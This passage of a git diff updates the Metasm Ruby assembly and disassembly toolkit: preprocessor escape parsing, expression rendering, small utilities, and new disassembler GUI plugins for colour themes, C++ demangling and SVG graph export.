-          when ?t; ?\t
-          when ?a; ?\a
-          when ?b; ?\b
-          when ?v; ?\v
-          when ?f; ?\f
-          when ?e; ?\e
-          when ?#, ?\\, ?', ?"; c
-          when ?\n; ''	# already handled by getchar
-          when ?x;
-            hex = ''
-            while hex.length < 2
-              raise tok, 'unterminated escape' if not c = getchar
-              case c
-              when ?0..?9, ?a..?f, ?A..?F
-              else ungetchar; break
-              end
-              hex << c
-              tok.raw << c
+        when ?n; ?\n
+        when ?r; ?\r
+        when ?t; ?\t
+        when ?a; ?\a
+        when ?b; ?\b
+        when ?v; ?\v
+        when ?f; ?\f
+        when ?e; ?\e
+        when ?#, ?\\, ?', ?"; c
+        when ?\n; ''	# already handled by getchar
+        when ?x;
+          hex = ''
+          while hex.length < 2
+            raise tok, 'unterminated escape' if not c = getchar
+            case c
+            when ?0..?9, ?a..?f, ?A..?F
+            else ungetchar; break
             end
-            raise tok, 'unterminated escape' if hex.empty?
-            hex.hex
-          when ?0..?7;
-            oct = '' << c
-            while oct.length < 3
-              raise tok, 'unterminated escape' if not c = getchar
-              case c
-              when ?0..?7
-              else ungetchar; break
-              end
-              oct << c
-              tok.raw << c
-            end
-            oct.oct
-          else c	# raise tok, 'unknown escape sequence'
+            hex << c
+            tok.raw << c
           end
-        when ?\n; ungetchar ; raise tok, 'unterminated string'
-        else tok.value << c
+          raise tok, 'unterminated escape' if hex.empty?
+          hex.hex
+        when ?0..?7;
+          oct = '' << c
+          while oct.length < 3
+            raise tok, 'unterminated escape' if not c = getchar
+            case c
+            when ?0..?7
+            else ungetchar; break
+            end
+            oct << c
+            tok.raw << c
+          end
+          oct.oct
+        else c	# raise tok, 'unknown escape sequence'
         end
+      when ?\n; ungetchar ; raise tok, 'unterminated string'
+      else tok.value << c
       end
+    end
 
     tok
   end
@@ -767,6 +779,9 @@ class Preprocessor
   def define(name, value=nil, from=caller.first)
     from =~ /^(.*?):(\d+)/
     btfile, btlineno = $1, $2.to_i
+    if not @may_preprocess and @text =~ /#{Regexp.escape name}/
+      @may_preprocess = true
+    end
     t = Token.new([btfile, btlineno])
     t.type = :string
     t.raw = name.dup
@@ -1095,7 +1110,7 @@ class Preprocessor
       nil while dir = readtok and dir.type == :space
       raise cmd, 'qstring expected' if not dir or dir.type != :quoted
       dir = ::File.expand_path dir.value
-      raise cmd, "invalid path #{dir}" if not ::File.directory? dir
+      raise cmd, "invalid path #{dir.inspect}" if not ::File.directory? dir
       @include_search_path.unshift dir
 
     when 'push_macro', 'pop_macro'
diff --git a/lib/metasm/metasm/render.rb b/lib/metasm/metasm/render.rb
index f60326435f..9c2fcb9b3f 100644
--- a/lib/metasm/metasm/render.rb
+++ b/lib/metasm/metasm/render.rb
@@ -19,8 +19,10 @@ module Renderable
     r = proc { |e|
       case e
       when Expression
-        yield e
         r[e.lexpr] ; r[e.rexpr]
+        yield e
+      when ExpressionType
+        yield e
       when Renderable
         e.render.each { |re| r[re] }
       end
@@ -64,67 +66,41 @@ end
 
 class Expression
   include Renderable
-  attr_accessor :render_info
-
-  # this is an accessor to @@render_int, the lambda used to render integers > 10
-  # usage: Expression.render_int = lambda { |e| '0x%x' % e }
-  #  or    Expression.render_int { |e| '0x%x' % e }
-  # XXX the returned string should be suitable for inclusion in a label name etc
-  def self.render_int(&b)
-    if b
-      @@render_int = b
-    else
-      @@render_int
-    end
-  end
-  def self.render_int=(p)
- 		@@render_int = p
-  end
-  @@render_int = nil
 
   def render_integer(e)
-        if render_info and @render_info[:char]
-          ee = e
-          v = []
-          while ee > 0
-            v << (ee & 0xff)
-            ee >>= 8
-          end
-          v.reverse! if @render_info[:char] == :big
-          if not v.empty? and v.all? { |c| c < 0x7f }
-            # XXX endianness
-        return "'" + v.pack('C*').inspect.gsub("'") { '\\\'' }[1...-1] + "'"
-          end
-        end
-        if e < 0
-          neg = true
-          e = -e
-        end
-        if e < 10; e = e.to_s
-    elsif @@render_int
-      e = @@render_int[e]
-        else
-          e = '%xh' % e
-          e = '0' << e unless (?0..?9).include? e[0]
-        end
-        e = '-' << e if neg
-      e
+    if e < 0
+      neg = true
+      e = -e
+    end
+    if e < 10; e = e.to_s
+    else
+      e = '%xh' % e
+      e = '0' << e unless (?0..?9).include? e[0]
+    end
+    e = '-' << e if neg
+    e
   end
 
   NOSQ1 = NOSQ2 = {:* => [:*], :+ => [:+, :-, :*], :- => [:+, :-, :*]}
   NOSQ2[:-] = [:*]
   def render
-    l = @lexpr.kind_of?(Integer) ? render_integer(@lexpr) : @lexpr
-    r = @rexpr.kind_of?(Integer) ? render_integer(@rexpr) : @rexpr
-    l = ['(', l, ')'] if @lexpr.kind_of? Expression and (not oa = NOSQ1[@op] or not oa.include?(@lexpr.op))
-    r = ['(', r, ')'] if @rexpr.kind_of? Expression and (not oa = NOSQ2[@op] or not oa.include?(@rexpr.op))
+    l = @lexpr.kind_of?(::Integer) ? render_integer(@lexpr) : @lexpr
+    r = @rexpr.kind_of?(::Integer) ? render_integer(@rexpr) : @rexpr
+    l = ['(', l, ')'] if @lexpr.kind_of?(Expression) and (not oa = NOSQ1[@op] or not oa.include?(@lexpr.op))
+    r = ['(', r, ')'] if @rexpr.kind_of?(Expression) and (not oa = NOSQ2[@op] or not oa.include?(@rexpr.op))
     op = @op if l or @op != :+
     if op == :+
       r0 = [r].flatten.first
       r0 = r0.render.flatten.first while r0.kind_of? Renderable
-      op = nil if (r0.kind_of? Integer and r0 < 0) or (r0.kind_of? String and r0[0] == ?-) or r0 == :-
+      op = nil if (r0.kind_of?(::Integer) and r0 < 0) or (r0.kind_of?(::String) and r0[0] == ?-) or r0 == :-
     end
     [l, op, r].compact
   end
 end
+
+class ExpressionString
+  include Renderable
+
+  def render; hide_str ? @expr.render : render_str ; end
+end
 end
diff --git a/lib/metasm/metasm/x86_64.rb b/lib/metasm/metasm/x86_64.rb
deleted file mode 100644
index 472d12f8c3..0000000000
--- a/lib/metasm/metasm/x86_64.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-#    This file is part of Metasm, the Ruby assembly manipulation suite
-#    Copyright (C) 2006-2009 Yoann GUILLOT
-#
-#    Licence is LGPL, see LICENCE in the top-level directory
-
-
-require 'metasm/main'
-require 'metasm/x86_64/parse'
-require 'metasm/x86_64/encode'
-require 'metasm/x86_64/decode'
-require 'metasm/x86_64/debug'
-require 'metasm/x86_64/compile_c'
diff --git a/lib/metasm/metasm/x86_64/opcodes.rb b/lib/metasm/metasm/x86_64/opcodes.rb
deleted file mode 100644
index 9c47611f64..0000000000
--- a/lib/metasm/metasm/x86_64/opcodes.rb
+++ /dev/null
@@ -1,117 +0,0 @@
-#    This file is part of Metasm, the Ruby assembly manipulation suite
-#    Copyright (C) 2006-2009 Yoann GUILLOT
-#
-#    Licence is LGPL, see LICENCE in the top-level directory
-
-
-require 'metasm/x86_64/main'
-require 'metasm/ia32/opcodes'
-
-module Metasm
-class X86_64
-  def init_cpu_constants
-    super()
-    @valid_args.concat [:i32, :u32, :i64, :u64] - @valid_args
-  end
-
-  def init_386_common_only
-    super()
-    # :imm64 => accept a real int64 as :i argument
-    # :auto64 => ignore rex_w, always 64-bit op
-    # :op32no64 => if write to a 32-bit reg, dont zero the top 32-bits of dest
-    @valid_props |= [:imm64, :auto64, :op32no64]
-    @opcode_list.delete_if { |o| o.bin[0].to_i & 0xf0 == 0x40 }	# now REX prefix
-    @opcode_list.each { |o|
-      o.props[:imm64] = true if o.bin == [0xB8]	# mov reg, <true imm64>
-      o.props[:auto64] = true if o.name =~ /^(j|loop|(call|enter|leave|lgdt|lidt|lldt|ltr|pop|push|ret)$)/
-      #o.props[:op32no64] = true if o.name =~ //	# TODO are there any instr here ?
-    }
-    addop 'movsxd', [0x63], :mrm
-  end
-
-  # all x86_64 cpu understand <= sse2 instrs
-  def init_x8664_only
-    init_386_common_only
-    init_386_only
-    init_387_only	# 387 indeed
-    init_486_only
-    init_pentium_only
-    init_p6_only
-    init_sse_only
-    init_sse2_only
-
-    @opcode_list.delete_if { |o|
-      o.args.include?(:seg2) or
-      o.args.include?(:seg2A) or
-      %w[lds les loadall arpl pusha pushad popa popad].include?(o.name)
-    }
-
-    addop 'swapgs',  [0x0F, 0x01, 0xF8]
-  end
-
-  def init_sse3
-    init_x8664_only
-    init_sse3_only
-  end
-
-  def init_vmx
-    init_sse3
-    init_vmx_only
-  end
-  
-  def init_all
-    init_vmx
-    init_sse42_only
-    init_3dnow_only
-  end
-
-  alias init_latest init_all
-
-
-  def addop_macrostr(name, bin, type)
-    super(name, bin, type)
-    bin = bin.dup
-    bin[0] |= 1
-    addop(name+'q', bin) { |o| o.props[:opsz] = 64 ; o.props[type] = true }
-  end
-
-  def addop_post(op)
-    if op.fields[:d] or op.fields[:w] or op.fields[:s] or op.args.first == :regfp0
-      return super(op)
-    end
-
-    dupe = lambda { |o|
-      dop = Opcode.new o.name.dup, o.bin.dup
- 			dop.fields, dop.props, dop.args = o.fields.dup, o.props.dup, o.args.dup
-      dop
-    }
-
-    @opcode_list << op
-
-    if op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret'
-      # define opsz-override version for ambiguous opcodes
-      op16 = dupe[op]
-      op16.name << '.i16'
-      op16.props[:opsz] = 16
-      @opcode_list << op16
-      # push call ret jz  can't 32bit
-      op64 = dupe[op]
-      op64.name << '.i64'
-      op64.props[:opsz] = 64
-      @opcode_list << op64
-    elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or
-        op.args.include? :modrm or op.args.include? :modrmA or op.name =~ /loop|xlat/
-      # define adsz-override version for ambiguous opcodes (movsq)
-      # XXX loop pfx 67 = rip+ecx, 66/rex ignored
-      op32 = dupe[op]
-      op32.name << '.a32'
-      op32.props[:adsz] = 32
-      @opcode_list << op32
-      op64 = dupe[op]
-      op64.name << '.a64'
-      op64.props[:adsz] = 64
-      @opcode_list << op64
-    end
-  end
-end
-end
diff --git a/lib/metasm/misc/hexdump.rb b/lib/metasm/misc/hexdump.rb
index 0670a4208f..98cce4cad4 100644
--- a/lib/metasm/misc/hexdump.rb
+++ b/lib/metasm/misc/hexdump.rb
@@ -51,5 +51,6 @@ if $0 == __FILE__
   fmt << 'd' if ARGV.delete '-D'
   fmt << 'a' if ARGV.delete '-A'
   fmt = ['c', 'd', 'a'] if ARGV.delete '-a'
-  File.open(ARGV.first, 'rb').hexdump(:fmt => fmt)
+  infd = ARGV.empty? ? $stdin : File.open(ARGV.first, 'rb')
+  infd.hexdump(:fmt => fmt)
 end
diff --git a/lib/metasm/misc/lint.rb b/lib/metasm/misc/lint.rb
new file mode 100644
index 0000000000..c6032935fa
--- /dev/null
+++ b/lib/metasm/misc/lint.rb
@@ -0,0 +1,58 @@
+#!/usr/bin/ruby
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+# this is a ruby code cleaner tool
+# it passes its argument to ruby -v -c, which displays warnings (eg unused variable)
+# it shows the incriminated line along the warning, to help identify false positives
+# probably linux-only, and need ruby-1.9.1 or newer
+
+def lint(tg)
+  if File.symlink?(tg)
+    # nothing
+  elsif File.directory?(tg)
+    Dir.entries(tg).each { |ent|
+      next if ent == '.' or ent == '..'
+      ent = File.join(tg, ent)
+      lint(ent) if File.directory?(ent) or ent =~ /\.rb$/
+    }
+  else
+    lint_file(tg)
+  end
+end
+
+def lint_file(tg)
+  flines = nil
+  compile_warn(tg).each_line { |line|
+    file, lineno, warn = line.split(/\s*:\s*/, 3)
+    if file == tg
+      if not flines
+        puts "#{tg}:"
+        flines = File.readlines(file) #File.open(file, 'rb') { |fd| fd.readlines }
+      end
+      puts " l.#{lineno}: #{warn.strip}: #{flines[lineno.to_i-1].strip.inspect}"
+    end
+  }
+  puts if flines
+end
+
+def compile_warn(tg)
+  r, w = IO.pipe('binary')
+  if !fork
+    r.close
+    $stderr.reopen w
+    $stdout.reopen '/dev/null'
+    exec 'ruby', '-v', '-c', tg
+    exit!
+  else
+    w.close
+  end
+  r
+end
+
+ARGV << '.' if ARGV.empty?
+ARGV.each { |arg| lint arg }
+
diff --git a/lib/metasm/misc/txt2html.rb b/lib/metasm/misc/txt2html.rb
index 647df94727..3694a6245d 100644
--- a/lib/metasm/misc/txt2html.rb
+++ b/lib/metasm/misc/txt2html.rb
@@ -1,4 +1,5 @@
 #!/usr/bin/env ruby
+# encoding: binary (rage)
 #    This file is part of Metasm, the Ruby assembly manipulation suite
 #    Copyright (C) 2006-2009 Yoann GUILLOT
 #
@@ -48,7 +49,7 @@ class Elem
       if e.class.ancestors.include? Elem
         @content << e
       else
-        @content << e.to_s.gsub(Regexp.new("(#{@@quotechars.keys.join('|')})")) { |x| @@quotechars[x] }
+        @content << e.to_s.gsub(Regexp.new("(#{@@quotechars.keys.join('|')})", 'm')) { |x| @@quotechars[x] }
       end
     }
     self
@@ -273,7 +274,7 @@ class Txt2Html
     puts "compiling #{outf}..." if $VERBOSE
 
     @pathfix = outf.split('/')[0...-1].map { '../' }.join
-    out = compile(File.read(f).gsub("\r", '') + "\n\n")
+    out = compile(File.open(f, 'rb') { |fd| fd.read }.gsub("\r", '') + "\n\n")
     File.open(outf, 'wb') { |fd| fd.write out.to_s.gsub("\r", '').gsub("\n", "\r\n") }
   end
 
@@ -338,8 +339,8 @@ class Txt2Html
           if pl = state[:list][bullet.chop]
             pl.content.last.content << lst
           else
-          out.body << lst
-        end
+            out.body << lst
+          end
         end
         lst.add_line compile_string(text)
 
@@ -358,9 +359,9 @@ class Txt2Html
           lst = state[:list].sort.last[1]
           lst.content.last.content << ' ' << compile_string(l)
         else
-        prev << ' ' if prev.length > 0
-        prev << l
-      end
+          prev << ' ' if prev.length > 0
+          prev << l
+        end
       end
     }
     flush[]
@@ -368,13 +369,13 @@ class Txt2Html
     out
   end
 
-  # handle **bold_words** *italic* `fixed` <links>
+  # handle **bold_words** *italic* `fixed` <links> **bold__word__with__underscore**
   def compile_string(str)
     o = [str]
     on = []
     o.each { |s|
       while s.kind_of? String and o1 = s.index('**') and o2 = s.index('**', o1+2) and not s[o1..o2].index(' ')
-        on << s[0...o1] << Html::Elem.new('b').add(s[o1+2...o2].tr('_', ' '))
+        on << s[0...o1] << Html::Elem.new('b').add(s[o1+2...o2].tr('_', ' ').gsub('  ', '_'))
         s = s[o2+2..-1]
       end
       on << s
@@ -383,7 +384,7 @@ class Txt2Html
     on = []
     o.each { |s|
       while s.kind_of? String and o1 = s.index('*') and o2 = s.index('*', o1+1) and not s[o1..o2].index(' ')
-        on << s[0...o1] << Html::Elem.new('i').add(s[o1+1...o2].tr('_', ' '))
+        on << s[0...o1] << Html::Elem.new('i').add(s[o1+1...o2].tr('_', ' ').gsub('  ', '_'))
         s = s[o2+1..-1]
       end
       on << s
@@ -409,19 +410,20 @@ class Txt2Html
           when 'txt'
             tg = outfilename(lnk)
             Txt2Html.new(lnk)
-            on << Html::A.new(@pathfix + tg, File.basename(lnk, '.txt').tr('_', ' '))
+            on << Html::A.new(@pathfix + tg, File.basename(lnk, '.txt').tr('_', ' ').gsub('  ', '_'))
           when 'jpg', 'png'
             on << Html::Img.new(lnk)
           end
         else
+          on << Html::A.new(lnk, lnk)
           if lnk =~ /\.txt$/
             @@seen_nofile ||= []
             if not @@seen_nofile.include? lnk
               @@seen_nofile << lnk
               puts "reference to missing #{lnk.inspect}"
             end
+            on.last.hclass('brokenlink')
           end
-          on << Html::A.new(lnk, lnk)
         end
       end
       on << s
diff --git a/lib/metasm/samples/bindiff.rb b/lib/metasm/samples/bindiff.rb
index b2a6a9c696..5a49df0de1 100644
--- a/lib/metasm/samples/bindiff.rb
+++ b/lib/metasm/samples/bindiff.rb
@@ -294,7 +294,6 @@ class BinDiffWidget < Gui::DrawableWidget
     set_status('match funcs') {
     # refine the layout matching with actual function matching
     already_matched = []
-    match_score = {}
     layout_match.each { |f1, list|
 puts "matching #{Expression[f1]}" if $VERBOSE
 begin
@@ -429,8 +428,8 @@ end
   # show in window 1 the match of the function found in win 2
   def sync1
     c2 = curfunc2
-    if a1 = match_funcs.find { |k, (a2, s)| a2 == c2 }
-      @dasm1.gui.focus_addr(a1[0])
+    if a1 = match_funcs.find_key { |k| match_funcs[k][0] == c2 }
+      @dasm1.gui.focus_addr(a1)
     end
   end
 
diff --git a/lib/metasm/samples/compilation-steps.rb b/lib/metasm/samples/compilation-steps.rb
index 164d638e14..5246367f82 100644
--- a/lib/metasm/samples/compilation-steps.rb
+++ b/lib/metasm/samples/compilation-steps.rb
@@ -16,9 +16,10 @@ OptionParser.new { |opt|
   opt.on('-D var=val', 'define a preprocessor macro') { |v| v0, v1 = v.split('=', 2) ; opts[:macros][v0] = v1 }
   opt.on('-v') { $VERBOSE = true }
   opt.on('-d') { $VERBOSE = $DEBUG = true }
+  opt.on('-e src') { |s| opts[:src] = s }
 }.parse!(ARGV)
 
-src = ARGV.empty? ? <<EOS : ARGF.read
+src = opts[:src] || (ARGV.empty? ? <<EOS : ARGF.read)
 void foo(int);
 void bla()
 {
diff --git a/lib/metasm/samples/dasm-plugins/bookmark.rb b/lib/metasm/samples/dasm-plugins/bookmark.rb
index 8d1fe087f0..ad7afcf1a2 100644
--- a/lib/metasm/samples/dasm-plugins/bookmark.rb
+++ b/lib/metasm/samples/dasm-plugins/bookmark.rb
@@ -96,6 +96,7 @@ if gui
   end
   def bookmark_addrs(list, color)
     al = [list].flatten.uniq
+    gui.session_append("dasm.bookmark_addrs(#{list.inspect}, #{color.inspect})")
     @bookmarklist |= [al.min]
     al.each { |a| @bookmarkcolor[a] = color }
     gui.gui_update
diff --git a/lib/metasm/samples/dasm-plugins/colortheme_solarized.rb b/lib/metasm/samples/dasm-plugins/colortheme_solarized.rb
new file mode 100644
index 0000000000..ec42aed251
--- /dev/null
+++ b/lib/metasm/samples/dasm-plugins/colortheme_solarized.rb
@@ -0,0 +1,125 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+# metasm gui plugin: change the colortheme used in the GUI
+# based on solarized: http://ethanschoonover.com/solarized/
+
+if gui
+  solarized = {
+    # name => hex RRGGBB
+    :base03  => '002b36',
+    :base02  => '073642',
+    :base01  => '586e75',
+    :base00  => '657b83',
+    :base0   => '839496',
+    :base1   => '93a1a1',
+    :base2   => 'eee8d5',
+    :base3   => 'fdf6e3',
+    :yellow  => 'b58900',
+    :orange  => 'cb4b16',
+    :red     => 'dc322f',
+    :magenta => 'd33682',
+    :violet  => '6c71c4',
+    :blue    => '268bd2',
+    :cyan    => '2aa198',
+    :green   => '859900',
+
+    # personnal additions for more contrast
+    :base0C  => '094048',
+    :base0D  => '00151b',
+
+    :black   => '002b36',	# base03
+    :white   => '93a1a1',	# base1
+
+    :yellow_bg  => '5a591b',# approx mean with black + manual tweak
+    :orange_bg  => '553a16',
+    :red_bg     => '461b1d',
+    :magenta_bg => '69305c',
+    :violet_bg  => '364d7d',
+    :blue_bg    => '135a84',
+    :cyan_bg    => '156567',
+    :green_bg   => '16510b',
+  }
+
+  # all widget's colorscheme inherits from this one
+  # this is the dark background theme. For light background, change
+  #  all 'baseX' into 'base0X' and 'base0X' into 'baseX'.
+  default = {
+    :background    => :black,
+    :text          => :white,
+    :instruction   => :white,
+    :cursorline_bg => :base02,
+    :comment       => :base01,
+    :caret         => :base0,
+    :label         => :violet,
+    :address       => :blue,
+    :hl_word_bg    => :white,
+    :hl_word       => :black,
+  }
+
+  specific = {
+    # widget name => colortheme
+    # unspecified colors are taken from 'default'
+    # still unspecified colors are left unchanged
+    :listing => {
+      :raw_data  => :white,
+      :arrows_bg => :base02,
+      :arrow_up  => :cyan,
+      :arrow_dn  => :blue,
+      :arrow_hl  => :orange,
+    },
+
+    :opcodes => {
+      :raw_data  => :white,
+    },
+
+    :decompile => {
+      :keyword   => :blue,
+      :localvar  => :red,
+      :globalvar => :green,
+      :intrinsic => :yellow,
+    },
+
+    :coverage => {
+      :code      => :red,
+      :data      => :blue,
+      :caret     => :yellow,
+      :caret_col => :green,
+    },
+
+    :graph => {
+      :background    => :base0D,
+      :hlbox_bg      => :base02,
+      :box_bg        => :base03,
+      :cursorline_bg => :base03,
+      :arrow_cond    => :green,
+      :arrow_uncond  => :cyan,
+      :arrow_direct  => :blue,
+      :arrow_hl      => :orange,
+      :box_bg_shadow => '000000',
+    },
+
+    :hex => {
+      :ascii         => :white,
+      :data          => :base1,
+      :write_pending => :red,
+      :caret_mirror  => :base0C,
+    },
+  }
+
+  gui.view_indexes.each { |v|
+    cs = specific[v] || {}
+    view = gui.view(v)
+    # keep original view ':foo => :text' colors
+    legacy = view.default_color_association.dup
+    # but discard actual color defs (still present as fallback anyway)
+    legacy.delete_if { |k, c| c.kind_of?(::String) }
+    nca = solarized.merge(legacy).merge(default).merge(cs)
+    view.set_color_association(nca)
+  }
+
+  true
+end
diff --git a/lib/metasm/samples/dasm-plugins/demangle_cpp.rb b/lib/metasm/samples/dasm-plugins/demangle_cpp.rb
new file mode 100644
index 0000000000..273000d033
--- /dev/null
+++ b/lib/metasm/samples/dasm-plugins/demangle_cpp.rb
@@ -0,0 +1,31 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+# metasm dasm plugin: try to demangle all labels as c++ names, add them as
+# comment if successful
+
+def demangle_all_cppnames
+  cnt = 0
+  prog_binding.each { |name, addr|
+    cname = name.sub(/^thunk_/, '')
+    if dname = demangle_cppname(cname)
+      cnt += 1
+      add_comment(addr, dname)
+      each_xref(addr, :x) { |xr|
+        if di = di_at(xr.origin)
+          di.add_comment dname
+          di.comment.delete "x:#{name}"
+        end
+      }
+    end
+  }
+  cnt
+end
+
+if gui
+  demangle_all_cppnames
+  gui.gui_update
+end
diff --git a/lib/metasm/samples/dasm-plugins/deobfuscate.rb b/lib/metasm/samples/dasm-plugins/deobfuscate.rb
index 21e8f885cc..4f9d988ab7 100644
--- a/lib/metasm/samples/dasm-plugins/deobfuscate.rb
+++ b/lib/metasm/samples/dasm-plugins/deobfuscate.rb
@@ -204,7 +204,7 @@ def self.newinstr_callback(dasm, di)
     dasm.replace_instrs(unused.first.address, unused.first.address, []) if not unused.empty?
 
     # patch the dasm graph
-    if dasm.replace_instrs(lastdi.address, di.address, newinstrs)
+    if dasm.replace_instrs(lastdi.address, di.address, newinstrs, true)
       puts ' deobfuscate', di_seq, ' into', newinstrs, ' ---' if $DEBUG
       # recurse, keep the last generated di to return to caller as replacement
       newinstrs.each { |bdi| di = newinstr_callback(dasm, bdi) || di }
diff --git a/lib/metasm/samples/dasm-plugins/export_graph_svg.rb b/lib/metasm/samples/dasm-plugins/export_graph_svg.rb
new file mode 100644
index 0000000000..1dec3e46b4
--- /dev/null
+++ b/lib/metasm/samples/dasm-plugins/export_graph_svg.rb
@@ -0,0 +1,86 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+# metasm dasm plugin: create a function to export the currently displayed
+# dasm graph to a .svg file
+# in the gui, type E to export. Tested only for graph-style view, *may* work in other cases
+
+raise 'gui only' if not gui
+
+def graph_to_svg
+  gw = gui.curview.dup
+  class << gw
+    attr_accessor :svgbuf, :svgcol
+    def draw_color(col)
+      col = @default_color_association.fetch(col, col)
+      col = BasicColor.fetch(col, col)
+      @svgcol = "##{col}"
+    end
+
+    def draw_line(x1, y1, x2, y2)
+      bb(x1, y1, x2, y2)
+      svgbuf << %Q{<line x1="#{x1}" y1="#{y1}" x2="#{x2}" y2="#{y2}" stroke="#{@svgcol}" />\n}
+    end
+    def draw_rectangle(x, y, w, h)
+      bb(x, y, x+w, y+h)
+      svgbuf << %Q{<rect x="#{x}" y="#{y}" width="#{w}" height="#{h}" fill="#{@svgcol}" />\n}
+    end
+    def draw_string(x, y, str)
+      bb(x, y, x+str.length*@font_width, y+@font_height)
+      stre = str.gsub('<', '&lt;').gsub('>', '&gt;')
+      svgbuf << %Q{<text x="#{(0...str.length).map { |i| x+i*@font_width }.join(',')}" y="#{y+@font_height*0.7}" stroke="#{@svgcol}">#{stre}</text>\n}
+    end
+
+    def draw_rectangle_color(c, *a)
+      draw_color(c)
+      draw_rectangle(*a)
+    end
+    def draw_line_color(c, *a)
+      draw_color(c)
+      draw_line(*a)
+    end
+    def draw_string_color(c, *a)
+      draw_color(c)
+      draw_string(*a)
+    end
+
+    def focus?; false; end
+    def view_x; @svgvx ||= @curcontext.boundingbox[0]-20; end
+    def view_y; @svgvy ||= @curcontext.boundingbox[1]-20; end
+    def width;  @svgvw ||= (@curcontext ? (@curcontext.boundingbox[2]-@curcontext.boundingbox[0])*@zoom+20 : 800); end
+    def height; @svgvh ||= (@curcontext ? (@curcontext.boundingbox[3]-@curcontext.boundingbox[1])*@zoom+20 : 600); end
+    def svgcuraddr; @curcontext ? @curcontext.root_addrs.first : current_address; end
+
+    # drawing bounding box (for the background rectangle)
+    attr_accessor :bbx, :bby, :bbxm, :bbym
+    def bb(x1, y1, x2, y2)
+      @bbx  = [x1, x2, @bbx].compact.min
+      @bbxm = [x1, x2, @bbxm].compact.max
+      @bby  = [y1, y2, @bby].compact.min
+      @bbym = [y1, y2, @bbym].compact.max
+    end
+  end
+  ret = gw.svgbuf = ''
+  gw.paint
+
+  ret[0, 0] = <<EOS
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN" 
+  "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
+<svg xmlns="http://www.w3.org/2000/svg" font-family="courier, monospace">
+<desc>Graph of #{get_label_at(gw.svgcuraddr) || Expression[gw.svgcuraddr]}</desc>
+<rect x="#{gw.bbx-10}" y="#{gw.bby-10}" width="#{gw.bbxm-gw.bbx+20}" height="#{gw.bbym-gw.bby+20}" fill="#{gw.draw_color(:background)}" />"
+EOS
+  ret << %Q{</svg>}
+end
+
+gui.keyboard_callback[?E] = lambda { |*a|
+  gui.savefile('svg target') { |f|
+    svg = graph_to_svg
+    File.open(f, 'w') { |fd| fd.write svg }
+  }
+  true
+}
diff --git a/lib/metasm/samples/dasm-plugins/hl_opcode.rb b/lib/metasm/samples/dasm-plugins/hl_opcode.rb
index 80aa068860..3552f1db6d 100644
--- a/lib/metasm/samples/dasm-plugins/hl_opcode.rb
+++ b/lib/metasm/samples/dasm-plugins/hl_opcode.rb
@@ -6,18 +6,22 @@
 
 # metasm dasm GUI plugin: hilight lines of code based on the opcode name
 if gui
-  @gui_opcode_color = { 'call' => '8f8', 'jmp' => 'faa', 'jcc' => 'fc8' }
+  @gui_opcode_color = {
+    :call => :green_bg,
+    :jmp  => :red_bg,
+    :jcc  => :orange_bg,
+  }
 
   obg = gui.bg_color_callback	# chain old callback
   gui.bg_color_callback = lambda { |a|
     if di = di_at(a) and pr = di.opcode.props
       if pr[:saveip] and (@function[di.block.to_normal.to_a.first] or di.block.to_subfuncret.to_a.first)
         # don't color call+pop
-        @gui_opcode_color['call']
+        @gui_opcode_color[:call]
       elsif pr[:stopexec]
-        @gui_opcode_color['jmp']
+        @gui_opcode_color[:jmp]
       elsif pr[:setip]
-        @gui_opcode_color['jcc']
+        @gui_opcode_color[:jcc]
       else
         obg[a] if obg
       end
diff --git a/lib/metasm/samples/dasm-plugins/imm2off.rb b/lib/metasm/samples/dasm-plugins/imm2off.rb
new file mode 100644
index 0000000000..a7d328efb1
--- /dev/null
+++ b/lib/metasm/samples/dasm-plugins/imm2off.rb
@@ -0,0 +1,34 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+# metasm dasm plugin
+# walks all disassembled instructions referencing an address
+# if the address is a label, update the instruction to use the label
+# esp. useful after a disassemble_fast, with a .map file
+
+def addrtolabel
+  bp = prog_binding.invert
+  @decoded.each_value { |di|
+    next if not di.kind_of?(DecodedInstruction)
+    di.each_expr { |e|
+      next unless e.kind_of?(Expression)
+      if l = bp[e.lexpr]
+        add_xref(e.lexpr, Xref.new(:addr, di.address))
+        e.lexpr = Expression[l]
+      end
+      if l = bp[e.rexpr]
+        add_xref(e.rexpr, Xref.new(:addr, di.address))
+        e.rexpr = (e.lexpr ? Expression[l] : l)
+      end
+    }
+  }
+  nil
+end
+
+if gui
+  addrtolabel
+  gui.gui_update
+end
diff --git a/lib/metasm/samples/dasm-plugins/match_libsigs.rb b/lib/metasm/samples/dasm-plugins/match_libsigs.rb
index f6514e4ba9..682d8b66d0 100644
--- a/lib/metasm/samples/dasm-plugins/match_libsigs.rb
+++ b/lib/metasm/samples/dasm-plugins/match_libsigs.rb
@@ -31,8 +31,8 @@ def initialize(file)
   @siglenmax = @sigs.values.map { |v| v.length }.max
 
   # compile a giant regex from the signatures
-  re = @sigs.values.uniq.map { |sig|
-    sig.gsub(/../) { |b| b == '..' ? '.' : ('\\x' + b) }
+  re = @sigs.values.uniq.map { |sigh|
+    sigh.gsub(/../) { |b| b == '..' ? '.' : ('\\x' + b) }
   }.join('|')
 
   # 'n' is a magic flag to allow high bytes in the regex (ruby1.9 + utfail)
diff --git a/lib/metasm/samples/dasm-plugins/namelocalvars.rb b/lib/metasm/samples/dasm-plugins/namelocalvars.rb
deleted file mode 100644
index 78f36d7c06..0000000000
--- a/lib/metasm/samples/dasm-plugins/namelocalvars.rb
+++ /dev/null
@@ -1,35 +0,0 @@
